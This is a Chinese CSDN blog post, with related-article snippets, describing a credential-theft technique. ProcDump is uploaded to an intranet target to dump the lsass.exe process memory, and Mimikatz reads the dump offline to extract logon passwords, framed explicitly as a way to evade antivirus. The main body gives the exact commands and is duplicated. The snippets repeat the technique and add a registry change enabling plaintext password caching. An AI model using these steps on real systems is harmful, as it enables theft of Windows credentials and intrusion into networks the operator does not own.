procdump和mimikatz联动

最新推荐文章于 2024-04-24 22:33:04 发布
最新推荐文章于 2024-04-24 22:33:04 发布
阅读量710 收藏 2
点赞数
文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45715461/article/details/125538159
版权

Mimikatz属于第三方软件，直接上传到目标主机可能被杀毒软件查杀，这时我们可以配合官方软件Procdump，将Procdump上传目标主机获取用户信息(该文件不可读)，使用本地的Mimikatz打开Procdump获取的用户信息。

  1. 上传Procdump到内网主机中，然后执行以下命令，获取到内存转储文件lsass.dmp文件
procdump -accepteula -ma lsass.exe lsass.dmp

image-20220630114927050

  1. 将生成的dmp文件移动到Mimikatz的机器中，运行以下命令，然后就能够首先在靶机上运行mimikatz一样的效果，并且还避免了mimikatz被杀的风险。
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

image-20220630115508553

Mimikatz属于第三方软件，直接上传到目标主机可能被杀毒软件查杀，这时我们可以配合官方软件Procdump，将Procdump上传目标主机获取用户信息(该文件不可读)，使用本地的Mimikatz打开Procdump获取的用户信息。

  1. 上传Procdump到内网主机中，然后执行以下命令，获取到内存转储文件lsass.dmp文件
procdump -accepteula -ma lsass.exe lsass.dmp

image-20220630114927050

  1. 将生成的dmp文件移动到Mimikatz的机器中，运行以下命令，然后就能够首先在靶机上运行mimikatz一样的效果，并且还避免了mimikatz被杀的风险。
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

image-20220630115508553

俺不想学习
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
procdump32_64+mimikatz.rar
06-15
procdump32_64 mimikatz，测试可以用，获取系统的密码信息。
Mimikatz + procdump 的使用
键盘上温暖而又美好的时光
11-15 6301
控制远程的服务器后，‘帮助’对方下载mimikatz，然后以管理员身份运行 ​​​​​​https://github.com/gentilkiwi/mimikatz/releases privilege::debug 提取权限 sekurlsa::logonpasswords 抓取密码 mimikatz是从 lsass.exe进程中获取windows的账号及密码的， 这时，我们可以帮对方安装一个procdump64.exe（这是微软自己的工具，可以放心使用） 然后从 lsass.exe
内网渗透-Mimikatz+Procdump的使用
最新发布
weixin_60830484的博客
04-24 563
在内网渗透中，获取目标明文密码是必不可少的一部分，可以扩大"攻击面"，因此本文将讲解相关工具的使用以及原理。
密码抓取--Prodump+Mimikatz抓取windows系统密码
网络安全。
02-13 1383
1、查看目标系统管理员登录情况，管理员在线，抓到明文密码的可能性更大。 query user 2、查看目标系统版本。 wmic OS get Caption,OSArchitecture 3、通过Procdump dump lsass.exe 进程数据并将其保存到 lsass.dmp 文件中。 procdump64.exe -accepteula -ma lsass.exe lsass.dmp...
内网渗透之mimikatz+procdump 提取 Windows 明文密码
Adminxe的博客
05-05 3375
0x00 原理 获取到内存文件 lsass.exe 进程 (它用于本地安全和登陆策略) 中存储的明文登录密码。 0x01 操作 Windows10/2012 以下的版本： 1、上传 procdump 执行命令转存出 lsass.dmp 文件（需要管理员权限） procdump64.exe -accepteula -ma lsass.exe lsass.dmp 2、拿到 mimika...
procdump+mimikatz.zip
11-14
压缩包内的"mimikatz_trunk.zip"和"Procdump.zip"是mimikatz的源代码和procdump的安装包，对于深入学习和研究这两个工具，提供了宝贵的资料。通过阅读源代码，我们可以更好地理解其工作原理，甚至定制适合自己需求的...
Procdump密码读取.zip
04-16
标签“密码提取”和“内存读取”进一步确认了Procdump是一个用于安全或取证目的的工具，它可以访问运行在计算机内存中的敏感信息。 Procdump是由微软 Sysinternals 出品的一个命令行实用程序，主要用于捕获进程的...
工具ProcDump
03-21
ProcDump 的核心功能是能够捕获进程的内存转储文件，这些文件包含了程序运行时的详细状态，包括变量值、调用堆栈等，这对于后期分析和调试问题非常有帮助。 1. **什么是ProcDump？** ProcDump 是一个命令行工具，...
ProcDump抓取dump的工具
12-30
ProcDump 是一个命令行的实用工具,其主要目的是监测应用程序如何使 CPU 达到峰值(spike)以及生成崩溃转储(crash dumps),管理员或开发人员可以利用这个工具确定造成 CPU 达到峰值的原因.至于怎么使用呢?请众看倌们点...
【mimikatz】内网渗透工具 下载 基本操作+【procdump】 下载 操作
吉吉的博客
01-12 2864
内网渗透，Windows域渗透工具 mimikatz和procdump 下载 + 基本操作
DAY39：横向渗透
qq_49433473的博客
08-28 1800
哈希传递攻击概述（PTH） 、横向渗透横向移动工具合集使用及方法、Mimikatz 、Procdump+Mimikatz、psexec 、msf、CrackMapExec批量横向渗透、WMI 命令、Invoke-WmiCommand（PowerShell）
mimikatz配合procdump抓取密码
qq_44881113的博客
09-16 3937
0x01 获取本地帐户密码 1.1 本地执行 下载mimikatz程序，找到自己系统对应的位数，右键以管理员身份运行： （不是管理员会报错） #提升权限 privilege::debug #抓取密码 sekurlsa::logonpasswords 当目标为win10或2012R2以上时，默认在内存缓存中禁止保存明文密码，但可以通过修改注册表的方式抓取明文。 cmd修改注册表命令： reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProvider
内网渗透神器（Mimikatz）——使用教程，你会的还只有初级工程师的技术吗
2401_84446919的博客
04-18 1298
在域控上执行)查看域kevin.com内指定用户root的详细信息，包括NTLM哈希等。从sam.hive和system.hive文件中获得NTLM Hash。sr98： 用于SR98设备和T5577目标的RF模块。rdm： RDM（830AL）器件的射频模块。rpc： mimikatz的RPC控制。导出lsass.exe进程中所有的票据。(在域控上执行)读取所有域用户的哈希。acr： ACR模块。开启Wdigest Auth。关闭Wdigest Auth。
ProcDump+Mimikatz绕过杀毒软件抓密码
希望我的博客，能帮上你解决学习中工作中所遇到的问题
03-02 988
如果主机上装了杀毒软件，开了防火墙，例如：360、火绒之类的话。Mimikatz就会被检测为病毒，无法使用，而想要对Mimikatz进行二次开发或者免杀难度会比较大，那有办法去解决这个问题吗？答案是肯定的，那就是ProcDump+Mimikatz绕过杀毒软件抓密码。而ProcDump本身是作为一个正常的运维辅助工具使用，并不带毒，所以不会被杀软查杀。中提取明文密码的，当无法在目标机器上运行Mimikatz时，我们可使用。导出lsass.dmp文件后，使用猕猴桃读取密码hash。读取对方内网机器密码。
利用procdump+Mimikatz绕过杀软获取Windows明文密码
大河之犬的博客
09-12 645
Mimikatz是从lsass.exe中提取明文密码的，当无法在目标机器上运行Mimikatz时，我们可使用ProcDump工具将系统的lsass.exe进程进行转储，导出dmp文件，拖回到本地后，在本地再利用Mimikatz进行读取。而ProcDump本身是作为一个正常的运维辅助工具使用，并不带毒，所以不会被杀软查杀。
使用Procdump+mimikatz抓取windows7明文密码
qq_40671478的博客
09-02 1505
首先打开mimikatz_trunk2.0 在DOS运行界面中输入privilege::debug提权命令1 我们提权成功后，我们再来输入sekurlsa::logonpasswords抓取密码命令 但是出现错误,如下图 网上搜索了一下,我决定使用procdump结合mimikatz实现免杀效果,procdump是微软的官方工具，不会被杀. 首先在任务管理器找到lsass.exe，右键创建转储文件 ...
利用procdump+mimikatz读取windows系统中的密码
LUOBIKUN的博客
09-07 3411
利用procdump+mimikatz读取windows系统中的密码 今天在学习的过程中，认识了一个工具，可以很简单的就读取windows系统的密码，觉得特别有趣，就自己亲自上手尝试了一下，果然很简单，就是因为比较笨，过程有点曲折，特此记录。 工具我也都整理好了， 链接：https://pan.baidu.com/s/1005cCJe-gJq_Q2vZ7M9lwg 提取码：b1q6 procdump，可以将lsass进程的内存文件导出来； mimikatz，可以对导出的内存文件进行分析，从而获取密码。 1，
内网渗透作业2（mimikatz、pwdump/procdump/LaZagne/nmap)
qq_45290991的博客
09-16 1136
内网渗透作业2（mimikatz、pwdump/procdump/LaZagne/nmap) 很紧张很“充实”的培训，今天主要是教了怎么抓取PC的密码…… 密码抓取5法 1.1mimikatz抓取明文密码 mimikatz是一个法国人写的轻量级调试器。出众之处在于其可以直接从 lsass.exe 里猎取windows处于active状态账号明文密码，非常强大。 在网上找了一些相关的文章自己的一点总结吧 下载地址：https://github.com/gentilkiwi/mimikatz/rele
利用procdump+Mimikatz 绕过杀软获取Windows明文密码
热门推荐
冷风
09-30 2万+
Mimikatz现在已经内置在Metasploit’s meterpreter里面，我们可以通过meterpreter下载。但是你如果觉得还要考虑杀毒软件，绑定payload之类的东西太过复杂，我们可以有更好的办法，只需要在自己的电脑上运行Mimikatz alpha(地址)版本,然后处理dump的LSASS进程内存文件就行！那么如何dump LSASS进程内存呢。可以通过以下方式：1.对于NT6
ProcDump教程：轻松实现C++(Qt)软件崩溃调试
"本资源主要介绍了如何使用ProcDump这一强大的命令行工具进行C++(Qt)软件的崩溃调试。...通过深入理解和熟练运用ProcDump，开发者能够更有效地定位和解决软件中的异常问题，提升软件的稳定性和可靠性。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值